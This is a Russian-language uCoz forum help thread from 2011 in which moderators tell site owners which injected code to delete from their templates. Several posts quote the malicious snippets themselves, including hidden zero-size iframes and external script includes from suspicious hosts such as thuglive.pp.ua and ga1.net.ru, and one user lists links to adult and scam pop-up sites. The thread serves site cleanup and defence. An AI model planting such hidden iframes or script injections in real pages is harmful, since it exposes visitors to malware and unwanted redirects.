Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 331 | 14:26:44 19 Янв 2011
VEKA, удалить следующее
Quote
<!-- <block234> -->
<table border="0" cellpadding="2" cellspacing="1" width="194" style="background-color: #F6A37B;">
<tr><td style="background-image:url('/.s/t/161/7.gif'); background-color:#FFC5A9; height: 25px; color:#CC5D28; padding-left:25px;"><b><!-- <bt> -->Top.ge<!-- </bt> --></b></td></tr>
<tr><td style="background:#FFFAF8;padding:5px;"><!-- <bc> --><!-- TOP.GE COUNTER CODE -->
<script language="JavaScript" src="http://counter.top.ge/cgi-bin/cod?100+41454"></script>
<noscript>

<a target="_top" href="http://counter.top.ge/cgi-bin/showtop?41454">
<img src="http://counter.top.ge/cgi-bin/count?ID:41454+JS:false" border="0" alt="TOP.GE" /></a>
</noscript>
<!-- / END OF COUNTER CODE --><!--</bc> --></td></tr>
</table><br />
<!-- </block234> -->

и предоставьте скрин вашего порно баннера

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Dmitry
Сообщений: 2154
Репутация: 1057

Сообщение # 332 | 14:26:54 19 Янв 2011
Kisikis,
Code
<script type="text/javascript" src="/js/jquery.easing.1.3.js"></script>

уберите со всех шаблонов. попробуем так. А вообще, весь шаблон сплошное бедствие. в плане ошибок и лишних скриптов.
Kisikis
Сообщений: 5
Репутация: 0

Сообщение # 333 | 14:26:54 19 Янв 2011
нет, разве это поможет??? http://mythical-dawn.clan.su/
http://mythical-dawn.clan.su
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 334 | 16:49:46 19 Янв 2011
Kisikis, выделенное удалить
Quote
<table border="0" width="100%" cellspacing="1" cellpadding="2"> <tr> <td align="center"> <center> <DIV align=center><STRONG>Зарегистрированных</STRONG></DIV> </td></tr></table></center> <TABLE style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; WIDTH: 100%; BORDER-BOTTOM: black 1px solid; BORDER-COLLAPSE: collapse"> <TBODY> <TR> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><SPAN style="COLOR: #7b0176"><B>Всего:</B></SPAN><BR></TD> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><STRONG><SPAN style="COLOR: #7b0176">35</SPAN></STRONG></TD><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script></TR> <TR> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><STRONG>Новых за месяц:</STRONG></TD> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM

находится в шаблоне информера статистика всего: и так далее. чистить из пу - информеры - шаблоны информера статистики пользователей

Quote
<a href="http://v-zakladki.ru/"> <script src="http://odnaknopka.ru/ok3.js" type="text/javascript"></script> </a>

<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;" src="http://www.24lux.ru/">
</iframe><hr><div class="eDetails" style="clear:both;">
<div style="float:right"><style type="text/css">.u-star-rating{list-style:none;margin:0px;padding:0px;width:60px;height:12px;position:relative;background: url('/.s/img/stars/3/12.png') top left repeat-x;}.u-star-rating li{padding:0px;margin:0px;float:left;}.u-star-rating li a{display:block;width:12px;height: 12px;line-height:12px;text-decoration:none;text-indent:-9000px;z-index:20;position:absolute;padding: 0px;overflow:hidden;}.u-star-rating li a:hover{background: url('/.s/img/stars/3/12.png') left center;z-index:2;left:0px;border:none;}.u-star-rating a.u-one-star{left:0px;}.u-star-rating a.u-one-star:hover{width:12px;}.u-star-rating a.u-two-stars{left:12px;}.u-star-rating a.u-two-stars:hover{width:24px;}.u-star-rating a.u-three-stars{left:24px;}.u-star-rating a.u-three-stars:hover{width:36px;}.u-star-rating a.u-four-stars{left:36px;}.u-star-rating a.u-four-stars:hover{width:48px;}.u-star-rating a.u-five-stars{left:48px;}.u-star-rating a.u-five-stars:hover{width:60px;}.u-star-rating li.u-current-rating{top:0 !important; left:0 !important;margin:0 !important;padding:0 !important;outline:none;background: url('/.s/img/stars/3/12.png') left bottom;position: absolute;height:12px !important;line-height:12px !important;display:block;text-indent:-9000px;z-index:1;}</style><script type="text/javascript">var usrarids={};function ustarrating(id,mark){if (!usrarids[id]){usrarids[id]=1;$(".u-star-li-"+id).hide();_uPostForm('',{type:'POST',url:'/index/',data:{'a':'65','id':id,'mark':mark,'mod':'index','ajax':'2'}});}}</script><ul id="uStarRating92" class="u-star-rating" title="Рейтинг: 0.0/0">
<li class="u-current-rating" id="uCurStarRating92" style="width:0%;"></li></ul></div>

находится в виде материалов новостей сайта между кнопками соц.закладок и рейтингом материала

из помойки друзья сайта удалить флеш

Code
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="88" height="31">
  <param name="movie" value="http://bagato.at.ua/obmen/88x31b.swf" />
  <param name="quality" value="high" />
  <embed src="http://bagato.at.ua/obmen/88x31b.swf"
  quality="high"
  type="application/x-shockwave-flash"
  width="88"
  height="31"
  pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>

оттуда же из помойки друзья сайта удалить гадкий однопиксельный баннер

Code
<!-- "Graffiti Decorations (R) Banner Start" -->
<a href="http://graffitistudio.ru" title="Сайт добавлен в список бесплатной раскрутки Graffiti Decorations (R) Site Promoter"><img border="1" src="http://graffitistudio.ru/banners/banner2.gif" width="100" height="100" alt="Graffiti Decorations(R) Studio (TM) Site Promoter"></a>
<!-- "Graffiti Decorations (R) Banner End " -->
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 335 | 16:59:39 19 Янв 2011
Kisikis, в виде материалов новости сайта удалить
Code
<script src="/jquery.scroll.pack.js" type="text/javascript"></script>
файла не существует

убрать лайтбох, так как есть свой системный

Code
<script src="/js/lytebox.original.js" type="text/javascript"></script>
<script src="/js/jquery.js" type="text/javascript"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
VEKA
Сообщений: 1
Репутация: 0

Сообщение # 336 | 00:24:26 20 Янв 2011
Quote (webanet)
VEKA, удалить следующее
Quote
<!-- <block234> -->
<table border="0" cellpadding="2" cellspacing="1" width="194" style="background-color: #F6A37B;">
<tr><td style="background-image:url('/.s/t/161/7.gif'); background-color:#FFC5A9; height: 25px; color:#CC5D28; padding-left:25px;"><b><!-- <bt> -->Top.ge<!-- </bt> --></b></td></tr>
<tr><td style="background:#FFFAF8;padding:5px;"><!-- <bc> --><!-- TOP.GE COUNTER CODE -->
<script language="JavaScript" src="http://counter.top.ge/cgi-bin/cod?100+41454"></script>
<noscript>

<a target="_top" href="http://counter.top.ge/cgi-bin/showtop?41454">
<img src="http://counter.top.ge/cgi-bin/count?ID:41454+JS:false" border="0" alt="TOP.GE" /></a>
</noscript>
<!-- / END OF COUNTER CODE --><!--
</bc> --></td></tr>
</table><br />
<!-- </block234> -->

и предоставьте скрин вашего порно баннера

так этож счетчик тоже удалится... никак нельзя без удаления счетчика исправить проблему?
а открывает вот это...
http://watchonlimeconfin.com/se.php?pop=1&aid=YmxhY2tvdXQA9D8&sid=2011139&key=shop
http://adultfriendfinder.com/go/g1110961-pmo

Szen
Сообщений: 38
Репутация: 55

Сообщение # 337 | 07:39:32 20 Янв 2011
Quote (VEKA)
так этож счетчик тоже удалится

Используйте более доверенные счетчики. Например, от Лайвинтернет.

По поводу нехороших сайтов: п*рн* открывается у всех гостей или только у вас под админом?


szenprogs.ru
bbk2710
Сообщений: 1
Репутация: 0

Сообщение # 338 | 16:13:16 20 Янв 2011
Здравствуйте, помогите пожалуйста с сайтом http://dvas.ucoz.ru/

При заходе с мазилы просит установить какой то плагин,заходишь с гугл хром появляется страница с предупреждением о том,что веб сайт содержит элементы с сайта leobiz.ipq.co на котором ,судя по всему, размещено вредоносное ПО. При заходе с оперы антивирусная защита начинает ругаться

Szen
Сообщений: 38
Репутация: 55

Сообщение # 339 | 16:26:34 20 Янв 2011
bbk2710, удалите это чудо (блок статистика):
Code
<iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe>

szenprogs.ru
SERHIO
Сообщений: 1
Репутация: -3

Сообщение # 340 | 16:40:27 20 Янв 2011
Всем привет!
У меня вот такая проблема.
Вверху страниц сайта висит HTTP://MUZCLUB.ORG/INDEX/10
Проштудировал уже все что можно,облазил весь HTML не могу найти.
Может подскажете где это искать?
www.muzclub.org
Если человек говорит что деньги решают все проблемы ... значит у него их никогда не было ...
Сообщение отредактировал SERHIO - Пятница, 21 Янв 2011, 11:23:39
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 341 | 21:36:04 20 Янв 2011
SERHIO, а теперь по порядку и с расстановкой объясняйте мне четко и ясно откуда у вас на сайте
Code
<script type="text/javascript">var homeurl="http://muzclub.org/";</script>
и так далее

Code
<script type="text/javascript" src="http://muzclub.org/js/cufon.js"></script>
<script type="text/javascript" src="http://muzclub.org/js/font.js"></script>
<script type="text/javascript" src="http://muzclub.org/js/ui.js"></script>

вы сами сайтик делали?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
емеля
Сообщений: 10
Репутация: 13
Уровень замечаний:

Сообщение # 342 | 21:36:14 20 Янв 2011
Вот ссылка на сайт

Добавлено (20-Янв-2011, 21:42:05)
---------------------------------------------
у меня каталог файлов, там картинка мешается cry

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 343 | 21:36:14 20 Янв 2011
емеля, панель управления - редактор страниц - управление дизайном модуля - новости сайта - вид материалов - удалить следующий код
Code
<script type="text/javascript" src="http://dle-ucoz.3dn.ru/Stil.js"></script>

панель управления - редактор страниц - управление дизайном модуля - каталог файлов - вид материалов - удалить следующий код
Code
<script type="text/javascript" src="http://dle-ucoz.3dn.ru/Stil.js"></script>

глобальный блок нижняя часть сайта
удалить
Code
<script type="text/javascript" src="http://ksphinx.ucoz.ru/rtr/1-2"></script

находится под этим сборищем
Code
<a href="javascript:openLayerA('Pravila','http://1x.do.am/url/instrument/code_bloc2.html','<blink>Код для блока</blink>','600','200','auto');"><font color="#a9a9a9"></font></a></center>
<div style="text-align:center;padding:5px 10px 5px 10px;">

лучше удалить всё
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
емеля
Сообщений: 10
Репутация: 13
Уровень замечаний:

Сообщение # 344 | 22:40:00 20 Янв 2011
Quote (webanet)
емеля, панель управления - редактор страниц - управление дизайном модуля - новости сайта - вид материалов - удалить следующий код

Code
<script type="text/javascript" src="http://dle-ucoz.3dn.ru/Stil.js"></script>

Но у меня нет такого кода
вот какой

Добавлено (20-Янв-2011, 22:40:00)
---------------------------------------------
В виде материалов новостей я так и не нашла этого кода...

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 345 | 22:41:01 20 Янв 2011
емеля, ещё раз читайте сообщение, особенно эти буквы
панель управления - редактор страниц - управление дизайном модуля - новости сайта - вид материалов нужно найти в списке шаблонов новости сайта, а под ними найти шаблон вид материалов
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск:
Telegram
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!